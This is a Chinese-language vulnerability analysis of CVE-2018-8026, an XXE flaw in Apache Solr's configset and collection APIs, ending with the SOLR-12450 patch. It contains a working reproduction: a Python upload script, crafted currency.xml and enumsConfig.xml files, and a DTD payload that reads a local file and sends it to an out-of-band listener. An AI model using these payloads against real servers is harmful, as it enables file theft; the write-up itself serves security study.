环境搭建

这次的XXE漏洞依赖于SolrCloud API,影响到SolrCloud分布式系统。而SolrCloud需要用到zookeeper。

zookeeper

在 zookeeper文件夹下:

(zookeeper-3.4.12)~ cp .\conf\zoo_sample.cfg .\conf\zoo.cfg、

修改 conf\zoo.cfg中的dataDirclientPort,以我为例:

...
dataDir= D:\\vuln\\zookeeper-3.4.12\\data
# the port at which the clients will connect
clientPort=2181
...

然后启动服务

(zookeeper-3.4.12)~ .\bin\zkServer.cmd

solr

solr受影响版本: 6.6.4, 7.3.1

solr的具体搭建过程不详细说明。通过ant idea等一系列编译可以搭建idea环境。最后启动solr服务时如下,其中-DzkHost=localhost即上面配置zookeeper的clientPort:

solr start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988 -DzkHost=localhost:2181"

漏洞复现

附上最简单的脚本evil.py,其中evil.zip见文章附件:

import requests

upload_url = "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=evilconfig"
files = open("evil.zip", "rb")
print(requests.post(upload_url, data=files).text)

create_url = "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=eviltest&numShards=1&collection.configName=evilconfig"
print(requests.get(create_url).text)

还有外部实体xxe.dtd,如下用于读取存放在C盘根目录下的chybeta.txt文件:

<!ENTITY % file SYSTEM "file:///C:/chybeta.txt"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:8888?%file;/'>">%int;%send;

如下图,8000服务器用于提供xxe.dtd,8888服务器用于接受xxe传送出来的结果

关于XXE的攻击方式等知识不妨参考小试XML实体注入攻击

漏洞分析

XXE 1

第一步是需要去上传ConfigSet,根据Upload a ConfigSet,这一步是将几个xml文件打包成压缩包后上传,其中 schema.xml内容为:

<?xml version="1.0"?>
<schema name="test" version="1.1">
    <fieldType name="string" class="solr.StrField" />
    <fieldType name="currency" class="solr.CurrencyField" precisionStep="8" defaultCurrency="USD" currencyConfig="currency.xml" />
</schema>

currency.xml为:

<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/xxe.dtd">    %remote;    ]>

还有一个solrconfig.xml,其内容在此省略。

考虑到是xxe,因此主要来看在何处发生了xml外部实体的解析。当开始第二个请求solr/admin/collections?action=CREATE时,solrcloud将根据指定的collection.configName即上一步上传的evilconfig来进行创建Collections。

org/apache/solr/schema/FileExchangeRateProvider.java:245

public void inform(ResourceLoader loader) throws SolrException {
    if(loader == null) {
      throw new SolrException(SolrException.ErrorCode.SERVER_ERROR, "Needs ResourceLoader in order to load config file");
    }
    this.loader = loader;
    reload();
  }

跟进reload,到达
org/apache/solr/schema/FileExchangeRateProvider.java:159,此时变量如下

代码如下:

@Override
  public boolean reload() throws SolrException {
    InputStream is = null;
    Map<String, Map<String, Double>> tmpRates = new HashMap<>();
    try {
      log.debug("Reloading exchange rates from file "+this.currencyConfigFile);

      is = loader.openResource(currencyConfigFile);
      javax.xml.parsers.DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      try {
        dbf.setXIncludeAware(true);
        dbf.setNamespaceAware(true);
      } catch (UnsupportedOperationException e) {
        throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "XML parser doesn't support XInclude option", e);
      }

      try {
        Document doc = dbf.newDocumentBuilder().parse(is);

currencyConfigFile即前面的currency.xml,
通过is = loader.openResource(currencyConfigFile);读取了内容后,在最后把is对象传给了dbf。在dbf.newDocumentBuilder().parse(is);解析了外部实体,造成了xxe。

XXE 2

同样发生在对schema.xml的解析中,我们修改schema.xml的内容如下:

<?xml version="1.0"?>
<schema name="test" version="1.1">
    <fieldType name="string" class="solr.StrField" />

    <fieldType name="priorityLevel" class="solr.EnumFieldType" docValues="true" enumsConfig="enumsConfig.xml" enumName="priority"/>
</schema>

enumsConfig.xml内容为:

<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/xxe.dtd">    %remote;    ]>

schema.xmlenumsConfig.xmlsolrconfig.xml打包成zip后,用上面的脚本执行。当solr运行至 org/apache/solr/schema/AbstractEnumField.java:90

接着在 org/apache/solr/schema/AbstractEnumField.java:110

InputStream is = null;

    try {
        is = schema.getResourceLoader().openResource(enumsConfigFile);
        final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        try {
          final Document doc = dbf.newDocumentBuilder().parse(is);

同样由于dbf.newDocumentBuilder().parse(is)造成了外部实体的解析

补丁分析

针对 XXE 1 和 XXE 2 的补丁为 SOLR-12450.patch

其中增加了solr/core/src/java/org/apache/solr/util/SafeXMLParsing.java,其中定义了多种解析xml的方法。比如parseConfigXML:

/** Parses a config file from ResourceLoader. Xinclude and external entities are enabled, but cannot escape the resource loader. */
public static Document parseConfigXML(Logger log, ResourceLoader loader, String file) throws SAXException, IOException {
    ...
    final DocumentBuilder db = dbf.newDocumentBuilder();
    db.setEntityResolver(new SystemIdResolver(loader));
    db.setErrorHandler(new XMLErrorLogger(log));
    return db.parse(in, SystemIdResolver.createSystemIdFromResourceName(file));
    ...
}

对应的FileExchangeRateProvider.java也换成了:

Document doc = SafeXMLParsing.parseConfigXML(log, loader, currencyConfigFile);

AbstractEnumField.java则为

Document doc = SafeXMLParsing.parseConfigXML(log, loader, enumsConfigFile);

Reference

CVE-2018-8026.zip (0.003 MB) 下载附件
源链接

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